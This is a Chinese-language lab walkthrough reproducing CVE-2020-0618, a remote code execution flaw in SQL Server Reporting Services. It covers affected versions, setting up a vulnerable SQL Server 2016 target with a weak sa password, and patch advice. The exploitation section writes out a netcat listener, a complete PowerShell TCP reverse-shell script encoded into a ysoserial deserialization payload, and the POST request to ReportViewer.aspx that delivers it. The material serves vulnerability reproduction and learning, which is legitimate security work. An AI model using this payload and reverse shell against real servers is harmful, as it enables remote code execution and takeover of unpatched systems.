(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞

1、【CVE编号】

CVE-2020-0618

2、【漏洞名称】

SQL Server Reporting Services RCE漏洞

3、【靶标分类】

通用组件类型靶标

4、【影响版本】

SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)
SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)
SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)
SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)
SQL Server 2014 Service Pack 3 for x64-based Systems (CU)
SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)
SQL Server 2016 for x64-based Systems Service Pack 1
SQL Server 2016 for x64-based Systems Service Pack 2 (CU)
SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

5、【漏洞分类】

代码执行

6、【漏洞等级】

7、【漏洞简介】

2月12日,微软发布安全更新披露了Microsoft SQL Server Reporting Services 远程代码执行漏洞(CVE-2020-0618)。SQL Server 是Microsoft 开发的一个关系数据库管理系统(RDBMS),是现在世界上广泛使用的数据库之一。
获得低权限的攻击者向受影响版本的SQL Server的Reporting Services实例发送精心构造的请求,可利用此漏洞在报表服务器服务帐户的上下文中执行任意代码。

8、【靶标运行环境】

标靶运行操作系统:Windows Server 2016 Srandard
Sql Server 版本:Microsoft SQL Server 2016 (SP1) (KB3182545) - 13.0.4001.0 (X64) Oct 28 2016 18:17:30 Copyright © Microsoft Corporation Enterprise Evaluation Edition (64-bit) on Windows Server 2016 Standard 6.3 (Build 14393: ) (Hypervisor)
工具:Postman插件

9、【靶标搭建过程】
1、安装Windows server 2016 Standard
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第1张图片
2、安装Sql Server 2016,其中有几个点需要注意。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第2张图片
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第3张图片
一路默认安装下来。
注意功能选择的时候需要选择"数据库引擎服务"和"Reporting Services"服务。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第4张图片
这里用混合模式创建账号 账号sa 密码123qweQWE 便于后面连接报表服务器。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第5张图片
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第6张图片
又是一路默认,安装完成。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第7张图片
3、访问 http://localhost/ReportS,创建分页报表,提示需要安装报表服务器。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第8张图片
4、安装好报表服务器后,新建一个报表
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第9张图片
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第10张图片
此时就用到了我们前面设置的账号密码 sa/123qweQWE
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第11张图片
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第12张图片
把字段随便拉进去即可。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第13张图片

到这一步就创建好了报表。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第14张图片
保存一下,然后点击运行
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第15张图片
当啷~
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第16张图片
访问一下漏洞路径,Success!
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第17张图片
10、靶场利用过程
1、使用Netcat监听1888端口,便于后续接受反弹回来的Shell
WIN+R
powshell
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第18张图片

cd .\Desktop\netcat-1.11_1\
.\nc.exe
 -lvp 1888

(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第19张图片
2、点击桌面的postman。
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第20张图片
3、点击send
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第21张图片

(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第22张图片
4、此时Shell已经弹回,使用 whoami 命令可以看到Shell的用户是 nt service\reportservice。
至此漏洞利用完毕!
(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第23张图片
ps、(此步可省略)
以上是我已经生成了验证POC,想要自己生成POC可以使用powershell打开ysoserial.exe工具生成有效负载,执行完最后一步的时候payload已经存在于剪切板。

$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",1888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
 
$encodedCommand = [Convert]::ToBase64String($bytes)
 
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

(环境搭建+复现) CVE-2020-0618 SQL Server Reporting Services RCE漏洞_第24张图片
漏洞数据包大概格式如下:

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

11、【解决方案】
目前微软官方已针对受支持的版本发布了修复该漏洞的安全补丁,请受影响的用户尽快安装补丁进行防护,官方下载链接:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0618

Referer:
https://github.com/euphrat1ca/CVE-2020-0618
https://bbs.pediy.com/thread-257827.htm
https://www.anquanke.com/post/id/198945

你可能感兴趣的:(漏洞复现)